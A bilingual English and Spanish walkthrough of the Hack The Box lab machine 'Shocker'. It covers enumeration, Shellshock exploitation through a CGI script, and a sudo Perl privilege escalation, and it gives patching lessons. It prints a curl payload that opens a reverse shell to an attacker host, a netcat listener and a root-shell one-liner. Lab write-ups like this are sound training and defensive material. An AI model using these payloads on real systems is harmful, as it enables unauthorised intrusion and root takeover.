Shocker
Executive summary — Shocker is the textbook Easy Linux box about Shellshock: an Apache 2.4.18 with a Bash CGI script (
/cgi-bin/user.sh, physically at/usr/lib/cgi-bin) lets us inject commands through theUser-Agentheader (CVE-2014-6271) for RCE asshelly. Escalation is direct:sudoallows running Perl as root without a password. A CGI/Shellshock → shelly → sudo perl → root path.
| Platform | Hack The Box |
| Operating system | Ubuntu Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.3.102 |
Attack map
[80] Apache 2.4.18 (Ubuntu) + CGI
│ gobuster -x sh,cgi,txt → /cgi-bin/ → /cgi-bin/user.sh (Bash script)
│ CVE-2014-6271 (Shellshock) via User-Agent header → RCE
▼
[SHELL] shelly (/usr/lib/cgi-bin) → user.txt
│ sudo -l → (root) NOPASSWD: /usr/bin/perl
▼
[ROOT] sudo perl -e 'exec "/bin/bash"' → root.txt
1. Reconnaissance
We start with a standard service scan: basic NSE scripts (-sC) plus version detection (-sV) against the target.
nmap -sC -sV 10.129.3.102
80/tcp open http Apache 2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu
Port 80 (Apache): the interesting one. Apache can run CGI scripts, and Shellshock specifically affects Bash — if those CGI scripts invoke Bash, the box is a direct candidate for the vulnerability. The homepage shows no title or relevant content, suggesting the real functionality lives on paths not linked from the index.
Port 2222 (SSH), why we don't attack it first: it's on a non-standard port but gives us nothing without credentials — there's no obvious vulnerability in OpenSSH 7.2p2. On Easy boxes, SSH is usually the later access point once credentials or a key are obtained, not the initial vector.
Resumen ejecutivo — Shocker es el Linux Easy de manual sobre Shellshock: un Apache 2.4.18 con un script CGI en Bash (
/cgi-bin/user.sh, físicamente en/usr/lib/cgi-bin) permite inyectar comandos a través de la cabeceraUser-Agent(CVE-2014-6271) y conseguir RCE comoshelly. La escalada es directa:sudopermite ejecutar Perl como root sin contraseña. Recorrido CGI/Shellshock → shelly → sudo perl → root.
| Plataforma | Hack The Box |
| Sistema operativo | Ubuntu Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.3.102 |
Mapa del ataque
[80] Apache 2.4.18 (Ubuntu) + CGI
│ gobuster -x sh,cgi,txt → /cgi-bin/ → /cgi-bin/user.sh (script Bash)
│ CVE-2014-6271 (Shellshock) vía cabecera User-Agent → RCE
▼
[SHELL] shelly (/usr/lib/cgi-bin) → user.txt
│ sudo -l → (root) NOPASSWD: /usr/bin/perl
▼
[ROOT] sudo perl -e 'exec "/bin/bash"' → root.txt
1. Reconocimiento
Empezamos con un escaneo de servicios estándar: scripts NSE básicos (-sC) y detección de versión (-sV) contra el objetivo.
nmap -sC -sV 10.129.3.102
80/tcp open http Apache 2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu
Puerto 80 (Apache): es el punto más interesante. Apache puede ejecutar scripts CGI, y Shellshock afecta específicamente a Bash — si esos scripts CGI invocan Bash, la máquina es candidata directa a la vulnerabilidad. La página principal no muestra título ni contenido relevante, lo que sugiere que la funcionalidad real vive en rutas no enlazadas desde el index.
Puerto 2222 (SSH), por qué no se ataca primero: está en un puerto no estándar pero no aporta nada sin credenciales — no hay vulnerabilidad evidente en OpenSSH 7.2p2. En máquinas Easy, SSH suele ser el punto de acceso posterior una vez se tienen credenciales o una clave, no el vector inicial.
2. Web enumeration → /cgi-bin/
The fact that Apache's homepage shows no visible functionality doesn't mean none exists: many critical paths aren't linked from the index but are still reachable if the URL is known. We enumerate directories including script extensions (.sh, .cgi, .txt), since a directory-only scan would miss exactly the executable files that matter:
gobuster dir -u http://10.129.3.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x sh,cgi,txt
| Flag | Function |
|---|---|
dir | Directory/file brute-force mode |
-u | Target URL |
-w | Wordlist used to try directory and file names |
-x sh,cgi,txt | Extra extensions to test: .sh (Bash scripts), .cgi (CGI scripts), .txt (text files) |
/cgi-bin/
Why
/cgi-bin/changes everything: on Apache, this path is tied to CGI (Common Gateway Interface), a mechanism by which the server runs server-side scripts to generate dynamic content. In legacy setups those scripts are often written in Bash or invoke it internally. The flow is: (1) the client sends an HTTP request; (2) Apache detects it maps to a CGI script and runs it; (3) HTTP headers (User-Agent, Referer, etc.) get turned into environment variables; (4) the CGI script can read those variables; (5) if the script uses Bash, Bash interprets them. That's exactly where Shellshock (CVE-2014-6271) comes in: an attacker can inject code into a header and achieve remote code execution. The chain of reasoning — Apache exposed →/cgi-bin/found → CGI usually runs Bash → Shellshock affects Bash in that context → try exploitation — isn't an arbitrary guess, it's a correlation between the detected technology stack and a vulnerability historically tied to it. Poking at the directory confirms the target script:/cgi-bin/user.sh.
3. Exploitation — Shellshock (CVE-2014-6271)
What Shellshock is: a flaw in how Bash parses environment variables containing crafted function definitions — anything after the closing of the function (() { :; };) gets interpreted and executed as an extra command. Since CGI puts HTTP headers straight into environment variables, all it takes is injecting the payload into the User-Agent when requesting the vulnerable script. First we set up a listener for the reverse shell:
nc -lvnp 4444
Then fire the payload at /cgi-bin/user.sh:
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'" \
http://10.129.3.102/cgi-bin/user.sh
The listener catches the reverse connection:
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.3.102] 46104
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$
The shell lands exactly in
/usr/lib/cgi-bin— the physical path whereuser.shlives behind Apache's/cgi-bin/alias. It confirms the RCE came from the CGI script, exactly as the previous phase's reasoning predicted.
This shell isn't interactive or fully usable (bash: no job control in this shell), so we stabilise it by spawning a pseudo-terminal with Python3:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
pty.spawncreates a TTY that lets us run interactive commands properly (tab completion,Ctrl+C, editors…);export TERM=xtermavoids display issues and improves terminal compatibility. The session is now fully functional.
whoami
shelly
4. User flag
We confirm the execution context and locate the user's directory:
ls /home
shelly
cd /home/shelly
cat user.txt
1e837f6633454a33c29b48f42a475e11
5. Enumeration for privilege escalation
We check what shelly can run with elevated privileges via sudo:
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Translation:
shellycan run/usr/bin/perlas root without a password (NOPASSWD). Perl can execute arbitrary code via-e, so this is a direct path to root: any binary allowed viasudothat can run code or spawn a subprocess is, in practice, a root shell in disguise (a pattern catalogued on GTFOBins).
6. Escalating to root
sudo /usr/bin/perl -e 'exec "/bin/bash";'
root@Shocker:/home/shelly#
How it works:
sudoruns Perl as root;perl -eexecutes inline Perl code;exec "/bin/bash"replaces the running Perl process with a Bash without spawning a new one. Since the Perl process was running as root, the Bash that replaces it inherits exactly those privileges.
whoami
root
7. Root flag
cd /root
cat root.txt
efdefc844ef8c9ebf71933a479230e6c
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Enumeration | Apache 2.4.18 | CGI exposed at /cgi-bin/ with no restriction | Reveals attack surface (Shellshock) |
| Foothold | /cgi-bin/user.sh (Bash) | CVE-2014-6271 (Shellshock) via User-Agent header | RCE as shelly |
| PrivEsc | sudo + /usr/bin/perl | NOPASSWD on an interpreter that runs arbitrary code | Root |
Lessons learned
- Apache +
/cgi-bin/+ Bash = think Shellshock. Always enumerate with script extensions (.sh,.cgi), not just directories. - HTTP headers are user input: in CGI they literally turn into environment variables that a Bash script can interpret as code.
- Patch Bash: Shellshock (2014) has had a patch for over a decade; it still shows up on unmaintained legacy systems.
- Beware
sudoover interpreters (perl, python, ruby…): withNOPASSWDthey're, in practice, a root shell in disguise (see GTFOBins). - Correlate technology with known CVEs: the Apache→CGI→Bash→Shellshock path isn't guessed, it's deduced from the stack detected during enumeration.
2. Enumeración web → /cgi-bin/
Que la portada de Apache no muestre funcionalidades visibles no significa que no existan: muchas rutas críticas no están enlazadas desde el index pero siguen siendo accesibles si se conoce la URL. Enumeramos directorios incluyendo extensiones de script (.sh, .cgi, .txt), porque una búsqueda solo de directorios se dejaría atrás justo los archivos ejecutables que importan:
gobuster dir -u http://10.129.3.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x sh,cgi,txt
| Parámetro | Función |
|---|---|
dir | Modo de fuerza bruta de directorios/archivos |
-u | URL objetivo |
-w | Wordlist usada para probar nombres de directorios y archivos |
-x sh,cgi,txt | Extensiones adicionales a probar: .sh (scripts Bash), .cgi (scripts CGI), .txt (archivos de texto) |
/cgi-bin/
Por qué
/cgi-bin/lo cambia todo: en Apache, esta ruta está asociada al uso de CGI (Common Gateway Interface), un mecanismo mediante el cual el servidor ejecuta scripts del lado del servidor para generar contenido dinámico. En configuraciones antiguas, esos scripts suelen estar escritos en Bash o invocarlo internamente. El flujo es: (1) el cliente envía una petición HTTP; (2) Apache detecta que corresponde a un script CGI y lo ejecuta; (3) las cabeceras HTTP (User-Agent, Referer, etc.) se transforman en variables de entorno; (4) el script CGI accede a esas variables; (5) si el script usa Bash, Bash las interpreta. Ahí es exactamente donde entra Shellshock (CVE-2014-6271): un atacante puede inyectar código en una cabecera y lograr ejecución remota. La cadena de razonamiento — Apache expuesto →/cgi-bin/encontrado → CGI suele ejecutar Bash → Shellshock afecta a Bash en ese contexto → se prueba explotación — no es una suposición arbitraria, sino la correlación entre la tecnología detectada y una vulnerabilidad históricamente asociada a ella. Inspeccionando el directorio se confirma el script objetivo:/cgi-bin/user.sh.
3. Explotación — Shellshock (CVE-2014-6271)
Qué es Shellshock: un fallo en cómo Bash procesa variables de entorno que contienen definiciones de función manipuladas — todo lo que va después del cierre de la función (() { :; };) se interpreta y ejecuta como comando adicional. Como CGI mete las cabeceras HTTP directamente en variables de entorno, basta con inyectar el payload en el User-Agent al pedir el script vulnerable. Primero levantamos un listener para la reverse shell:
nc -lvnp 4444
Y lanzamos el payload contra /cgi-bin/user.sh:
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'" \
http://10.129.3.102/cgi-bin/user.sh
En el listener se recibe la conexión reversa de vuelta:
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.3.102] 46104
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$
La shell aterriza precisamente en
/usr/lib/cgi-bin— la ruta física donde viveuser.shpor detrás del alias/cgi-bin/de Apache. Confirma que el RCE viene del script CGI, tal y como predecía el razonamiento de la fase anterior.
Esta shell no es interactiva ni completamente funcional (bash: no job control in this shell), así que la estabilizamos generando un pseudo-terminal con Python3:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
pty.spawncrea un TTY que permite ejecutar comandos interactivos correctamente (autocompletado,Ctrl+C, editores…);export TERM=xtermevita problemas visuales y mejora la compatibilidad con la terminal. La sesión queda ahora completamente funcional.
whoami
shelly
4. User flag
Confirmamos el contexto de ejecución y localizamos el directorio del usuario:
ls /home
shelly
cd /home/shelly
cat user.txt
1e837f6633454a33c29b48f42a475e11
5. Enumeración para escalada de privilegios
Comprobamos qué puede ejecutar shelly con privilegios elevados vía sudo:
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Traducción:
shellypuede ejecutar/usr/bin/perlcomo root sin contraseña (NOPASSWD). Perl permite ejecutar código arbitrario con-e, así que esto es una vía directa a root: cualquier binario consudoque permita ejecutar código o generar un subproceso equivale, en la práctica, a una shell de root (patrón catalogado en GTFOBins).
6. Escalada a root
sudo /usr/bin/perl -e 'exec "/bin/bash";'
root@Shocker:/home/shelly#
Cómo funciona:
sudoejecuta Perl como root;perl -ecorre código Perl inline;exec "/bin/bash"sustituye el proceso Perl en curso por una Bash sin crear uno nuevo. Como el proceso Perl corría como root, la Bash que lo reemplaza hereda exactamente esos privilegios.
whoami
root
7. Root flag
cd /root
cat root.txt
efdefc844ef8c9ebf71933a479230e6c
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Enumeración | Apache 2.4.18 | CGI expuesto en /cgi-bin/ sin restricción | Revela superficie de ataque (Shellshock) |
| Foothold | /cgi-bin/user.sh (Bash) | CVE-2014-6271 (Shellshock) vía cabecera User-Agent | RCE como shelly |
| PrivEsc | sudo + /usr/bin/perl | NOPASSWD sobre un intérprete que ejecuta código arbitrario | Root |
Lecciones aprendidas
- Apache +
/cgi-bin/+ Bash = pensar en Shellshock. Enumera siempre con extensiones de script (.sh,.cgi), no solo directorios. - Las cabeceras HTTP son entrada del usuario: en CGI se convierten literalmente en variables de entorno que un script Bash puede interpretar como código.
- Parchea Bash: Shellshock (2014) tiene parche desde hace más de una década; sigue apareciendo en sistemas legacy sin mantenimiento.
- Cuidado con
sudosobre intérpretes (perl, python, ruby…): conNOPASSWDson, en la práctica, una shell de root disfrazada (ver GTFOBins). - Correlaciona tecnología con CVEs conocidos: el camino Apache→CGI→Bash→Shellshock no se adivina, se deduce de la pila detectada durante la enumeración.